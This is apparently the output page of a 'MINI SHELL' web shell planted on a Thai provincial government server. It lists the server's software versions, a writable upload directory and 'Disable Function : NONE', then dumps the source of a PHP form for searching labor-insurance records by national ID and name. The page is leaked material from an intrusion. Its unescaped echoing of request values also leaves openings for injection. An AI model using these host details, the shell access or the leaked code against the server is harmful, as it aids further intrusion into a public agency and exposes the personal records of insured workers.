MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /home/pathumthani_integration/integration/application/labor/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/pathumthani_integration/integration/application/labor/search_surety_index.php
<?php
session_start() ; 
include_once("../../config/config_epm.inc.php");
//include_once("manage_user.inc.php");
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<title><?=$title_name?></title>
<style type="text/css">
<!--
.style1 {font-weight: bold}
-->
</style>
</head>
<style type="text/css">
 .body,td,th{
 font-size:12px;}
</style>
<body style="font-size:12px;" >


<script language="javascript" src="js/daily_popcalendar.js"></script>
<script language="javascript" src="js/displayelement.js"></script>
<script>
//clearText();
dpvar = Array();
strData = Array();

function redirect(){
	
}

function showstatus(){
	//alert("test");	
	st = "";
	st2 = "";
	show="";
	 for(i in dpvar){
	//for(i=0;i<dpvar.length();i++){
//		st += dpvar[i]+"-->"
		if(dpvar[i]!=''){
		st += "<table border='0'><tr><td>&nbsp;&nbsp;&nbsp;"+dpvar[i]+"</td></tr></table>";
		}
		show+="&"+strData[i];
		st2 +=  i+"||"+dpvar[i]+"^";
	}
	//alert(st);
	//st2 = substr(st2,0,(st2.length-1));
	//str="test";
	//alert(document.getElementById('dpvar').value);
	//keyData = document.getElementById('dpvar').value;
	//document.getElementById('dpvar').value = st;
	//document.getElementById('dpvar2').value = st2;
	document.getElementById('display').innerHTML = st;
	//document.getElementById('display1').innerHTML = show;
	//document.getElementById('strData').innerHTML = show;
	//document.getElementById('display').innerHTML = str;
	//alert("test");
}
function getvalue(arg){
	//alert(arg.value);
	 //alert(document.getElementById("label"+arg.id).innerHTML+" : "+tf(arg.checked));
	 //alert( "<b>"+document.getElementById("label"+arg.id).innerHTML+"</b> = "+arg[arg.selectedIndex].innerHTML);
	 //alert(document.getElementById("label"+arg.id).innerHTML);
	 var browserName=navigator.appName; 
	
	if (browserName=="Netscape"){ 
		 
		 switch(arg.type){
		case 'text':
			
			if(arg.value==''){
				dpvar[arg.id]='';
				opener.document.getElementById(arg.id).value = "";
			}
			else{
				dpvar[arg.id] = "<b>"+document.getElementById("label"+arg.id).innerHTML+"</b> = "+arg.value;
				strData[arg.id]=arg.id+"="+arg.value;
				opener.document.getElementById(arg.id).value = arg.value;
			}
			//alert(arg.id);	
		break;
		case 'select-one':
			//alert(arg.value);
			if(document.getElementById(arg.id).value==0){
				dpvar[arg.id]='';
				opener.document.getElementById(arg.id).value = "";
				if(document.getElementById('public_amphur').value==0){
						dpvar['public_tambol']='';
						opener.document.getElementById('public_tambol').value = "";
						dpvar['public_Subtambol']='';
						opener.document.getElementById('public_Subtambol').value = "";
						dpvar['public_Mun']='';
						opener.document.getElementById('public_Mun').value = "";
				}
			}else{
				dpvar[arg.id] = "<b>"+document.getElementById("label"+arg.id).innerHTML+"</b> = "+arg[arg.selectedIndex].innerHTML;
				strData[arg.id]=arg.id+"="+arg[arg.selectedIndex].innerHTML;
				opener.document.getElementById(arg.id).value = arg[arg.selectedIndex].value;
			}
		break;
		case 'checkbox':
			 dpvar[arg.id] = "<b>"+document.getElementById("label"+arg.id).innerHTML+"</b> = "+tf(arg.checked);
			 strData[arg.id]=arg.id+"="+tf(arg.checked);
			 opener.document.getElementById(arg.id).value = tf(arg.checked);
		break;
		case 'radio':
			dpvar[arg.name] = "<b>"+document.getElementById("label"+arg.id).innerHTML+"</b> = "+tf(arg.checked);
			strData[arg.id]=arg.id+"="+tf(arg.checked);
			opener.document.getElementById(arg.id).value = tf(arg.checked);
		break;
		}
	}
	else 
	{ 
	 if (browserName=="Microsoft Internet Explorer")
	 {
	  switch(arg.type){
		case 'text':
			if(arg.value==''){
				dpvar[arg.id]='';
				opener.document.getElementById(arg.id).value = "";
			}
			else{
				dpvar[arg.id] = "<b>"+document.getElementById("label"+arg.id).innerHTML+"</b> = "+arg.value;
				strData[arg.id]=arg.id+"="+arg.value;
				opener.document.getElementById(arg.id).value = arg.value;
			}
		break;
		case 'select-one':
			//alert("test");
			if(document.getElementById(arg.id).value==0){
				dpvar[arg.id]='';
				opener.document.getElementById(arg.id).value = "";
			}else{
				dpvar[arg.id] = "<b>"+document.getElementById("label"+arg.id).innerHTML+"</b> = "+arg[arg.selectedIndex].innerHTML;
				strData[arg.id]=arg.id+"="+arg[arg.selectedIndex].innerHTML;
				opener.document.getElementById(arg.id).value = arg[arg.selectedIndex].value;
			}
		break;
		case 'checkbox':
			 dpvar[arg.id] = "<b>"+document.getElementById("label"+arg.id).innerHTML+"</b> = "+tf(arg.checked);
			 strData[arg.id]=arg.id+"="+tf(arg.checked);
			 opener.document.getElementById(arg.id).value = tf(arg.checked);
		break;
		case 'radio':
			dpvar[arg.name] = "<b>"+document.getElementById("label"+arg.id).innerHTML+"</b> = "+tf(arg.checked);
			strData[arg.id]=arg.id+"="+tf(arg.checked);
			opener.document.getElementById(arg.id).value = tf(arg.checked);
		break;
		}
	 }
	 /*else
	  {
		alert("What ARE you browsing with here?");
	   }*/
	}
	
	
	//document.getElementById('showName').innerHTML="";
	//document.getElementById('showName1').innerHTML="";
	
	showstatus();
}

function closeSearch(){
	var o  = new Object();
	o.resetSearch = true;
	window.returnValue = o;
	window.close();
}
 //เช็ค การ key ตัวเลข
	function isNumberKey(evt){
		var charCode = (evt.which) ? evt.which : event.keyCode;
		if (charCode > 31 && (charCode < 48 || charCode > 57)){ 
			alert("กรอกได้เฉพาะ ตัวเลข เท่านั้น");
			return false;
		}else{ 
			return true;
		}
	}
	function search_submit(){
	opener.document.getElementById('form2').submit();
	window.close();
	}

function Inint_AJAX() {
   try { return new ActiveXObject("Msxml2.XMLHTTP");  } catch(e) {} //IE
   try { return new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) {} //IE
   try { return new XMLHttpRequest();          } catch(e) {} //Native Javascript
   alert("XMLHttpRequest not supported");
   return null;
}

function chkTambol(e) {
	//alert(e.id);
     var req = Inint_AJAX();
	 var sec = document.getElementById(e.id).options[document.getElementById(e.id).options.selectedIndex].value;
     req.onreadystatechange = function () { 
          if (req.readyState==4) {
               if (req.status==200) {
			   		//alert(req.responseText);
                    document.getElementById('TambolCHK').innerHTML=req.responseText; //รับค่ากลับมา
               } 
          }
     };
     req.open("GET", "ajax_chkTambol_search.php?varChk="+sec); //สร้าง connection
     req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;charset=tis-620"); // set Header
     req.send(null); //ส่งค่า
}
</script>
<SCRIPT language="javascript1.2">
	function CreateXmlHttp(){
		//Creating object of XMLHTTP in IE
		try {
			XmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
		}
		catch(e){
			try{
				XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
			} 
			catch(oc) {
				XmlHttp = null;
			}
		}
		//Creating object of XMLHTTP in Mozilla and Safari 
		if(!XmlHttp && typeof XMLHttpRequest != "undefined") {
			XmlHttp = new XMLHttpRequest();
		}
	} // end function CreateXmlHttp

	function chgAmphur(e, defa_v) {
		if ( e ) {
			CreateXmlHttp();
			XmlHttp.open("get", "ajax.chgamphur.php?PvID="+e+"&DfVal="+defa_v, true);
			XmlHttp.onreadystatechange=function() {//alert("Aussy!!");
				if (XmlHttp.readyState==4) {
					
					if (XmlHttp.status==200) {
						var res = XmlHttp.responseText; //alert(res);
						document.getElementById("lblAmphur").innerHTML = res;
						if(e==""){
							document.getElementById("lblTambon").innerHTML = 	"กรุณาเลือกอำเภอก่อน";
						}
						chgTambon(defa_v, tambon);
					} else if (XmlHttp.status==404) {
						alert("ไม่สามารถทำการดึงข้อมูลได้");
					} else {
						alert("Error : "+XmlHttp.status);
					}
				}
			};
			XmlHttp.send(null);
		}
	   }
	function chgTambon(e, defa_v) {
		if ( e ) {
			CreateXmlHttp();
			
			XmlHttp.open("get", "ajax.chgtambon.php?chk=1&TbID="+e+"&DfVal="+defa_v, true);
			XmlHttp.onreadystatechange=function() {
				if (XmlHttp.readyState==4) {
					if (XmlHttp.status==200) {
						var res = XmlHttp.responseText; 
						document.getElementById("lblTambon").innerHTML = res;
						
					} else if (XmlHttp.status==404) {
						alert("ไม่สามารถทำการดึงข้อมูลได้");
					} else {
						alert("Error : "+XmlHttp.status);
					}
				}
			};
			XmlHttp.send(null);
		} else {
			document.getElementById("lblTambon").innerHTML = 	"(กรุณาเลือกอำเภอก่อน)";
			document.getElementById("lblSubTambon").innerHTML = "(กรุณาเลือกตำบลก่อน)";
			document.getElementById("lblMun").innerHTML = "(กรุณาเลือกเทศบาลก่อน)";
			document.getElementById("muni_name").innerHTML="";
		}
	}
	function chgMun(e, defa_v) {
	//alert (e);
	
		if ( e ) {
			CreateXmlHttp();
			XmlHttp.open("get", "ajax.chgmun.php?chk=1&MooID="+e+"&DfVal="+defa_v, true);
			
			XmlHttp.onreadystatechange=function() {
				if (XmlHttp.readyState==4) {
					if (XmlHttp.status==200) {
						var res = XmlHttp.responseText; 
						document.getElementById("lblMun").innerHTML = res;
						 //chgMooname(e);
						 chgMoo(e,''); 
					} else if (XmlHttp.status==404) {
						alert("ไม่สามารถทำการดึงข้อมูลได้");
					} else {
						alert("Error : "+XmlHttp.status);
					}
				}
			};
			XmlHttp.send(null);
		}else {
			document.getElementById("muni_name").innerHTML="";
			document.getElementById("lblSubTambon").innerHTML = "(กรุณาเลือกตำบลก่อน)";
			document.getElementById("lblMun").innerHTML = "(กรุณาเลือกเทศบาลก่อน)";
		}
	}
	
	function chgMoo(e, defa_v) {
	// alert (e);
		if ( e ) {
			CreateXmlHttp();
			XmlHttp.open("get", "ajax.chgmoo.php?chk=1&MooID="+e+"&DfVal="+defa_v, true);
			
			XmlHttp.onreadystatechange=function() {
				if (XmlHttp.readyState==4) {
					if (XmlHttp.status==200) {
						var res = XmlHttp.responseText; 
						document.getElementById("lblSubTambon").innerHTML = res;
						 chgMooname(e);
					} else if (XmlHttp.status==404) {
						alert("ไม่สามารถทำการดึงข้อมูลได้");
					} else {
						alert("Error : "+XmlHttp.status);
					}
				}
			};
			XmlHttp.send(null);
		}else {
			document.getElementById("muni_name").innerHTML="";
			document.getElementById("lblSubTambon").innerHTML = "(กรุณาเลือกตำบลก่อน)";
		}
	}
	
	function chgMooname(e) {
		if ( e ) {
			CreateXmlHttp();
			XmlHttp.open("get", "ajax.chgmooname.php?MooID="+e, true);
			XmlHttp.onreadystatechange=function() {
				if (XmlHttp.readyState==4) {
					if (XmlHttp.status==200) {
						var res = XmlHttp.responseText; //alert(res);
						arrMoo = res;
						
						document.getElementById("muni_name").innerHTML="("+arrMoo+")";
					} else if (XmlHttp.status==404) {
						alert("ไม่สามารถทำการดึงข้อมูลได้");
					} else {
						alert("Error : "+XmlHttp.status);
					}
				}
			};
			XmlHttp.send(null);
		}
	}
	
	<? if ( $objMB->addr_province && $objMB->addr_amphur && $objMB->addr_tambon ) echo "chgAmphur('$objMB->addr_province', '$objMB->addr_amphur', '$objMB->addr_tambon');"; ?>
</SCRIPT>
<style type="text/css">
<!--
.style1 {
	border-bottom-width: thin; border-bottom-style: groove; border-bottom-color:#5595CC;
}
-->
</style>

<table width="100%" border="0" cellspacing="0" cellpadding="5">
  <tr>
    <td>
	
		<form name="form1" action="index.php?p=labor_surety_index" method="get"  onSubmit="search_submit();">
		  
		  <table width="100%" border="0" align ="center">
		  
		  <tr>
			<td></td></tr></table>
			<table width="650" align="center" border="0" style="border:#BFDBF7 1px solid;  background-color:#4a79bc ;" id="text_search" >
				  <tr>
					<td align="left"><font color="#FFFFFF" style="text-decoration:underline"><strong>เงื่อนไขการค้นหา</strong></font></td>
				  </tr>
				  <tr>
					<td><div id="display" name="display"></div></td>
					<td><div id="display1" name="display1"></div></td>
			  	</tr>
			</table>
		
		<table width="650" border="0" cellspacing="0" cellpadding="5" bgcolor="#3399CC" align="center">	
<tr bgcolor="#FFFFFF" >
						<td width="159" class="style1" ><strong>
						<label for="id_card" id="labelid_card">เลขบัตรประชาชน</label>
						</strong></td>
						<td width="471" class="style1"><input name="id_card" id="id_card" type="text"   value="<?=$id_card?>" size="20" onKeyDown="getvalue(this)" onKeyUp="getvalue(this)"  onChange="getvalue(this)" onBlur="getvalue(this)"/></td>
				 </tr>			
				  <tr bgcolor="#FFFFFF" >
						<td width="159" class="style1" ><strong>
						<label for="name_meeting" id="labelname_meeting">ชื่อผู้ประกันตน</label>
						</strong></td>
						<td class="style1"><input name="name_meeting" id="name_meeting" type="text"   value="<?=$name_meeting?>" size="20" onKeyDown="getvalue(this)" onKeyUp="getvalue(this)" onChange="getvalue(this)"  onBlur="getvalue(this)"/></td>
				 </tr>
                  <tr bgcolor="#FFFFFF" >
						<td width="159" class="style1" ><strong>
						<label for="status" id="labelstatus">สถานะการประกันตน</label>
						</strong></td>
					<td class="style1"><select  name="status" id="status" onChange="getvalue(this);">
									<option value="" selected>เลือกสถานะการประกันตน</option>
                                    <option value="A">A : เป็นผู้ประกันตน </option>
                                    <option value="V">V : เป็นผู้ประกันตนโดยสมัครใจ</option>
                                     <option value="R">R : ลาออกจากงาน </option>
									</select>		</td>
				 </tr>
                 <tr bgcolor="#FFFFFF" >
						<td width="159" class="style1" ><strong>
						<label for="type_key" id="labeltype_key">แหล่งข้อมูล</label>
						</strong></td>
						<td class="style1">
								<select  name="type_key" id="type_key" onChange="getvalue(this);">
									<option value="0">เลือกสถานะการนำเข้าข้อมูล</option>
                                    <option value="KEY">บันทึกผ่านระบบ key</option>
                                    <option value="XLS">นำเข้าข้อมูลรูปแบบไฟล์ Excel</option>
                                    <option value="XML">นำเข้าข้อมูลรูปแบบไฟล์ XML</option>
									</select>						</td>
				 </tr>
				 
		  		<tr>
					<td colspan="3" align="center" bgcolor="#6699FF">
					
					<input  type="submit" name="b_search" value="ค้นหา" id="b_search"/>
				&nbsp;      <input type="reset" value="  ยกเลิก  "  onclick="window.close();"/>
				<input name="strData" type="hidden" id="strData" value="<?=$strData?>" />					 </td>
		  </tr>
		</table>	
	
	  </form>	
	</td>
  </tr>
</table>


</body>
</html>

Anon7 - 2021